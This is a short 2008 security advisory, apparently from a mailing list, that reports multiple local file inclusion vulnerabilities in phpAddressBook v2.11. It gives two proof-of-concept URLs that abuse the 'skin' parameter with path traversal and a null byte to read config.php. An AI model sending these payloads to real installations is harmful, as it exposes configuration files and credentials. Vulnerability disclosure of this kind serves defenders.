Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

From:	Guns_(at)_0x90.com.ar <Guns_(at)_0x90.com.ar>
Date:	23.03.2008
Subject:	phpAddressBook v2.11 Multiple Local File Inclusion Vulnerabilities

      _____          ____   _____
     /  _  \ /\  /\ / _  \ /  _  \
     | | | | \ \/ / ||_| | | | | |
     | | | |  \  /  \_   | | | | |
     | |_| |  /  \   __\ | | |_| |
     \_____/ / /\ \ |____/ \_____/
             \/  \/


[~] phpAddressBook v2.11 Multiple Local File Inclusion Vulnerabilities

[~] Download: http://downloads.coronamatrix.org/phpAddressBookv2.11.zip

[~] Founder: 0x90

[~] HomePage: www.0x90.com.ar

[~] Public: http://0x90.com.ar/Advisory/20080321.txt

[~] Contact: Guns[at]0x90[dot]com[dot]ar

[~] PoC:

  http://[host]/[path]/index.php?skin=/../config.php %00
  http://[host]/[path]/install.php?skin=/../config.php %00


Greetz: ...